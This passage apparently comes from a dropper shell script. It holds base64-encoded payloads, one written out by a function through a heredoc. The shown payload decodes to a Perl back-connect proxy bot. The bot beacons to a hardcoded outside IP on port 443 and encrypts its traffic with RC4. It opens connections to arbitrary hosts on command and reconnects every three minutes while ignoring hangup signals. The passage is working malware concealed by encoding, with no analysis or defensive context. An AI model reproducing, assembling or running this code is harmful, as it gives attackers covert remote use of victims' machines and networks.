b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_25() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 